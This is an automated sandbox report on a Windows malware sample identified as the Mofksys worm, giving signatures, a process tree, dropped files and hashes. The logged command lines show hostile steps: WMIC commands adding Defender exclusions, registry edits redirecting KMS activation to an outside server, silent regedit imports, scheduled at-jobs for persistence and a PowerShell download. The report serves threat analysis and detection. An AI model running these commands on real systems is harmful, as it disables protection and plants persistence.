Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260513-en
  • resource tags

    arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    01/06/2026, 15:48

General

  • Target
    2026-06-01_a7a24e96feda94dce2241e156aeb5690_amadey_coinminer_cryptbot_darkgate_elex_glassworm_remcos.exe
  • Size 18.9MB
  • Sample260601-s8ypmsa14k
  • SHA256 e9b82fbd044bb1ca66f8a877e1978ecd60c6c1eb566add3bbff2c08f930f9b43
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    https://mrodevicemgr.officeapps.live.com/mrodevicemgrsvc/api/v2/C2RReleaseData

Signatures

  • Family: Mofksys

    Mofksys is a worm written in VisualBasic.

  • Detects Mofksys worm 13 IoCs
  • Modifies WinLogon for persistence 2 TTPs 2 IoCs
  • Modifies visibility of hidden/system files in Explorer 2 TTPs 2 IoCs
  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 8 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

  • Executes dropped EXE 10 IoCs
  • Adds Run key to start application 2 TTPs 4 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Drops file in Windows directory 6 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 13 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Checks processor information in registry 2 TTPs 4 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies Internet Explorer settings 1 TTPs 3 IoCs
  • Runs .reg file with regedit 1 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 4 IoCs
  • Suspicious use of SendNotifyMessage 2 IoCs
  • Suspicious use of SetWindowsHookEx 37 IoCs
  • Suspicious use of WriteProcessMemory 34 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-06-01_a7a24e96feda94dce2241e156aeb5690_amadey_coinminer_cryptbot_darkgate_elex_glassworm_remcos.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-06-01_a7a24e96feda94dce2241e156aeb5690_amadey_coinminer_cryptbot_darkgate_elex_glassworm_remcos.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3824
    • \??\c:\users\admin\appdata\local\temp\2026-06-01_a7a24e96feda94dce2241e156aeb5690_amadey_coinminer_cryptbot_darkgate_elex_glassworm_remcos.exe 
      c:\users\admin\appdata\local\temp\2026-06-01_a7a24e96feda94dce2241e156aeb5690_amadey_coinminer_cryptbot_darkgate_elex_glassworm_remcos.exe 
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:4948
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionPath="c:\users\admin\appdata\local\temp\2026-06-01_a7a24e96feda94dce2241e156aeb5690_amadey_coinminer_cryptbot_darkgate_elex_glassworm_remcos.exe "
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2936
        • C:\Windows\System32\Wbem\WMIC.exe
          WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionPath="c:\users\admin\appdata\local\temp\2026-06-01_a7a24e96feda94dce2241e156aeb5690_amadey_coinminer_cryptbot_darkgate_elex_glassworm_remcos.exe "
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:920
      • C:\Windows\System32\reg.exe
        "C:\Windows\System32\reg.exe" add "HKLM\SOFTWARE\Microsoft\Windows Script Host\Settings" /v Enabled /t REG_DWORD /d 1 /f
        3⤵
          PID:2656
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /D /c files.dat -y -pkmsauto
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:2388
          • \??\c:\users\admin\appdata\local\temp\files\files.dat
            files.dat -y -pkmsauto
            4⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            PID:3860
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionPath="c:\users\admin\appdata\local\temp\files"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:1140
          • C:\Windows\System32\Wbem\WMIC.exe
            WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionPath="c:\users\admin\appdata\local\temp\files"
            4⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4836
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell" -nop -command "& { (New-Object Net.WebClient).DownloadFile('https://mrodevicemgr.officeapps.live.com/mrodevicemgrsvc/api/v2/C2RReleaseData', 'C:\Users\Admin\AppData\Local\Temp\ver.txt') }"
          3⤵
          • Badlisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:3496
        • C:\Windows\System32\reg.exe
          "C:\Windows\System32\reg.exe" add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform" /v KeyManagementServiceName /t REG_SZ /d kms.loli.best /f
          3⤵
            PID:3688
          • C:\Windows\System32\reg.exe
            "C:\Windows\System32\reg.exe" add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform" /v KeyManagementServicePort /t REG_SZ /d 1688 /f
            3⤵
              PID:3272
            • C:\Windows\System32\reg.exe
              "C:\Windows\System32\reg.exe" add "HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform" /v KeyManagementServiceName /t REG_SZ /d kms.loli.best /f
              3⤵
                PID:1640
              • C:\Windows\System32\reg.exe
                "C:\Windows\System32\reg.exe" add "HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform" /v KeyManagementServicePort /t REG_SZ /d 1688 /f
                3⤵
                  PID:4788
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" /D /c regedit.exe -s C:\Users\Admin\AppData\Local\Temp\newui.reg
                  3⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1600
                  • C:\Windows\regedit.exe
                    regedit.exe -s C:\Users\Admin\AppData\Local\Temp\newui.reg
                    4⤵
                    • Runs .reg file with regedit
                    PID:2752
                • C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXE
                  "C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXE"
                  3⤵
                  • Checks processor information in registry
                  • Enumerates system info in registry
                  • Modifies Internet Explorer settings
                  • Suspicious behavior: AddClipboardFormatListener
                  • Suspicious use of FindShellTrayWindow
                  • Suspicious use of SendNotifyMessage
                  • Suspicious use of SetWindowsHookEx
                  PID:4172
                • C:\Users\Admin\AppData\Local\Temp\rld20297.exe
                  "C:\Users\Admin\AppData\Local\Temp\rld20297.exe" "c:\users\admin\appdata\local\temp\2026-06-01_a7a24e96feda94dce2241e156aeb5690_amadey_coinminer_cryptbot_darkgate_elex_glassworm_remcos.exe " 1000
                  3⤵
                  • Executes dropped EXE
                  • System Location Discovery: System Language Discovery
                  • Suspicious use of WriteProcessMemory
                  PID:4584
                  • \??\c:\users\admin\appdata\local\temp\2026-06-01_a7a24e96feda94dce2241e156aeb5690_amadey_coinminer_cryptbot_darkgate_elex_glassworm_remcos.exe 
                    "c:\users\admin\appdata\local\temp\2026-06-01_a7a24e96feda94dce2241e156aeb5690_amadey_coinminer_cryptbot_darkgate_elex_glassworm_remcos.exe "
                    4⤵
                    • Executes dropped EXE
                    • Suspicious use of WriteProcessMemory
                    PID:564
                    • C:\Windows\System32\reg.exe
                      "C:\Windows\System32\reg.exe" add "HKLM\SOFTWARE\Microsoft\Windows Script Host\Settings" /v Enabled /t REG_DWORD /d 1 /f
                      5⤵
                        PID:2128
                      • C:\Windows\System32\cmd.exe
                        "C:\Windows\System32\cmd.exe" /c WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionPath="c:\users\admin\appdata\local\temp\2026-06-01_a7a24e96feda94dce2241e156aeb5690_amadey_coinminer_cryptbot_darkgate_elex_glassworm_remcos.exe "
                        5⤵
                        • Suspicious use of WriteProcessMemory
                        PID:5024
                        • C:\Windows\System32\Wbem\WMIC.exe
                          WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionPath="c:\users\admin\appdata\local\temp\2026-06-01_a7a24e96feda94dce2241e156aeb5690_amadey_coinminer_cryptbot_darkgate_elex_glassworm_remcos.exe "
                          6⤵
                            PID:244
                        • C:\Windows\System32\cmd.exe
                          "C:\Windows\System32\cmd.exe" /c WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionPath="c:\users\admin\appdata\local\temp\files"
                          5⤵
                          • Suspicious use of WriteProcessMemory
                          PID:2904
                          • C:\Windows\System32\Wbem\WMIC.exe
                            WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionPath="c:\users\admin\appdata\local\temp\files"
                            6⤵
                              PID:3296
                          • C:\Users\Admin\AppData\Local\Temp\oinstrun.exe
                            "C:\Users\Admin\AppData\Local\Temp\oinstrun.exe" "c:\users\admin\appdata\local\temp\2026-06-01_a7a24e96feda94dce2241e156aeb5690_amadey_coinminer_cryptbot_darkgate_elex_glassworm_remcos.exe "
                            5⤵
                            • Executes dropped EXE
                            PID:2112
                        • C:\Windows\SysWOW64\cmd.exe
                          C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\SelfD97585.bat
                          4⤵
                          • System Location Discovery: System Language Discovery
                          • Suspicious use of WriteProcessMemory
                          PID:2684
                          • C:\Windows\SysWOW64\PING.EXE
                            ping -n 1 localhost
                            5⤵
                            • System Location Discovery: System Language Discovery
                            • System Network Configuration Discovery: Internet Connection Discovery
                            • Runs ping.exe
                            PID:996
                    • C:\Users\Admin\AppData\Local\icsys.icn.exe
                      C:\Users\Admin\AppData\Local\icsys.icn.exe
                      2⤵
                      • Executes dropped EXE
                      • Drops file in Windows directory
                      • System Location Discovery: System Language Discovery
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of SetWindowsHookEx
                      • Suspicious use of WriteProcessMemory
                      PID:1420
                      • \??\c:\windows\system\explorer.exe
                        c:\windows\system\explorer.exe
                        3⤵
                        • Modifies WinLogon for persistence
                        • Modifies visibility of hidden/system files in Explorer
                        • Boot or Logon Autostart Execution: Active Setup
                        • Executes dropped EXE
                        • Adds Run key to start application
                        • Drops file in Windows directory
                        • System Location Discovery: System Language Discovery
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious behavior: GetForegroundWindowSpam
                        • Suspicious use of SetWindowsHookEx
                        • Suspicious use of WriteProcessMemory
                        PID:240
                        • \??\c:\windows\system\spoolsv.exe
                          c:\windows\system\spoolsv.exe SE
                          4⤵
                          • Executes dropped EXE
                          • Drops file in Windows directory
                          • System Location Discovery: System Language Discovery
                          • Suspicious use of SetWindowsHookEx
                          • Suspicious use of WriteProcessMemory
                          PID:3100
                          • \??\c:\windows\system\svchost.exe
                            c:\windows\system\svchost.exe
                            5⤵
                            • Modifies WinLogon for persistence
                            • Modifies visibility of hidden/system files in Explorer
                            • Boot or Logon Autostart Execution: Active Setup
                            • Executes dropped EXE
                            • Adds Run key to start application
                            • Drops file in Windows directory
                            • System Location Discovery: System Language Discovery
                            • Suspicious behavior: EnumeratesProcesses
                            • Suspicious behavior: GetForegroundWindowSpam
                            • Suspicious use of SetWindowsHookEx
                            • Suspicious use of WriteProcessMemory
                            PID:4560
                            • \??\c:\windows\system\spoolsv.exe
                              c:\windows\system\spoolsv.exe PR
                              6⤵
                              • Executes dropped EXE
                              • System Location Discovery: System Language Discovery
                              • Suspicious use of SetWindowsHookEx
                              PID:548
                            • C:\Windows\SysWOW64\at.exe
                              at 16:50 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
                              6⤵
                              • System Location Discovery: System Language Discovery
                              PID:4416
                            • C:\Windows\SysWOW64\at.exe
                              at 16:51 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
                              6⤵
                              • System Location Discovery: System Language Discovery
                              PID:1816
                            • C:\Windows\SysWOW64\at.exe
                              at 16:52 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
                              6⤵
                              • System Location Discovery: System Language Discovery
                              PID:4920

                  Network

                        MITRE ATT&CK Enterprise v16

                        Replay Monitor

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                        Downloads

                        2026-06-01_a7a24e96feda94dce2241e156aeb5690_amadey_coinminer_cryptbot_darkgate_elex_glassworm_remcos.exe 

                        • Path C:\Users\Admin\AppData\Local\Temp\2026-06-01_a7a24e96feda94dce2241e156aeb5690_amadey_coinminer_cryptbot_darkgate_elex_glassworm_remcos.exe 
                        • Size 18.7MB
                        • SHA256 2ff9f800cfe3e450b9feb25c171c6813c6e100506068fd4da25a5c7255d6b0dc
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        SelfD97585.bat

                        • Path C:\Users\Admin\AppData\Local\Temp\SelfD97585.bat
                        • Size 157B
                        • SHA256 be0435315f9718ce44c921d109965f115f0de0f985a2b205a8ea35248f1c7dd4
                        • MD5 SHA1 SHA512 TLSH

                        __PSScriptPolicyTest_3ntdrkgi.lmu.ps1

                        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3ntdrkgi.lmu.ps1
                        • Size 60B
                        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                        • MD5 SHA1 SHA512 TLSH

                        files.dat

                        • Path C:\Users\Admin\AppData\Local\Temp\files\files.dat
                        • Size 765KB
                        • SHA256 4e3b13b56bec0e41778e6506430282bbbd75ccaa600fd4b645ce37dd95b44c8e
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        setup.exe

                        • Path C:\Users\Admin\AppData\Local\Temp\files\setup.exe
                        • Size 7.3MB
                        • SHA256 caf295438040eca0632d475eeecf51a16307a23cb87dcfce796d274e8e8ff221
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        newui.reg

                        • Path C:\Users\Admin\AppData\Local\Temp\newui.reg
                        • Size 1KB
                        • SHA256 92dc5f009e30e42d18b80fdcce0e029df6d56e387eb38e16c5585a9c5a0b41a7
                        • MD5 SHA1 SHA512 TLSH

                        oinstrun.exe

                        • Path C:\Users\Admin\AppData\Local\Temp\oinstrun.exe
                        • Size 14KB
                        • SHA256 4a01c55f4727b3771c2672421aa2c5c20534ad0530449ed168a16a3d33345d3d
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        rld20297.exe

                        • Path C:\Users\Admin\AppData\Local\Temp\rld20297.exe
                        • Size 16KB
                        • SHA256 03382bd8037a9cf6905c87b98b6768bd93fec22faf2f4092d81ac970703ea14f
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        ver.txt

                        • Path C:\Users\Admin\AppData\Local\Temp\ver.txt
                        • Size 67KB
                        • SHA256 dde66188cba261ad86ccf6b4b6328bb0439a516597220e6007372b3f1c639ed4
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        icsys.icn.exe

                        • Path C:\Users\Admin\AppData\Local\icsys.icn.exe
                        • Size 206KB
                        • SHA256 767cb86e2061ce0f819865bb1da4cc9662ca7746979a9f6ab70ae9661a252de8
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        mrsys.exe

                        • Path C:\Users\Admin\AppData\Roaming\mrsys.exe
                        • Size 206KB
                        • SHA256 c96cffe453493998fbec6332b4b64fd7b315126232c005619399d5863b04a70d
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        explorer.exe

                        • Path C:\Windows\System\explorer.exe
                        • Size 206KB
                        • SHA256 9e2aa8b8395c045886a259b69f0025ecabb32855111cfa3c5f7816b360d136bc
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        svchost.exe

                        • Path C:\Windows\System\svchost.exe
                        • Size 206KB
                        • SHA256 e548c9a9791aa0c6e88d174fbf644faf69afc44b454847525098113e5f6bbb65
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        configure.xml

                        • Path \??\c:\users\admin\appdata\local\temp\files\configure.xml
                        • Size 1KB
                        • SHA256 aab7da15c94292ef647b83dc6c50c75973458af01586b8532cb6b12e9130c003
                        • MD5 SHA1 SHA512 TLSH

                        spoolsv.exe

                        • Path \??\c:\windows\system\spoolsv.exe
                        • Size 206KB
                        • SHA256 b403426a1c06ea4328f15dd5e06305b233f72cff243ab9f218d32199e4173684
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        memory/240-191-0x0000000000400000-0x0000000000440000-memory.dmp

                        memory/240-53-0x0000000000400000-0x0000000000440000-memory.dmp

                        memory/548-77-0x0000000000400000-0x0000000000440000-memory.dmp

                        memory/1420-81-0x0000000000400000-0x0000000000440000-memory.dmp

                        memory/3100-80-0x0000000000400000-0x0000000000440000-memory.dmp

                        memory/3496-87-0x0000025107130000-0x0000025107BF2000-memory.dmp

                        memory/3496-33-0x000002511FEE0000-0x000002511FF02000-memory.dmp

                        memory/3824-0-0x0000000000400000-0x0000000000440000-memory.dmp

                        memory/3824-82-0x0000000000400000-0x0000000000440000-memory.dmp

                        memory/4172-104-0x00007FF8CB0B0000-0x00007FF8CB0C0000-memory.dmp

                        memory/4172-100-0x00007FF8CB0B0000-0x00007FF8CB0C0000-memory.dmp

                        memory/4172-102-0x00007FF8CB0B0000-0x00007FF8CB0C0000-memory.dmp

                        memory/4172-112-0x00007FF8C8CA0000-0x00007FF8C8CB0000-memory.dmp

                        memory/4172-113-0x00007FF8C8CA0000-0x00007FF8C8CB0000-memory.dmp

                        memory/4172-103-0x00007FF8CB0B0000-0x00007FF8CB0C0000-memory.dmp

                        memory/4172-101-0x00007FF8CB0B0000-0x00007FF8CB0C0000-memory.dmp

                        memory/4560-192-0x0000000000400000-0x0000000000440000-memory.dmp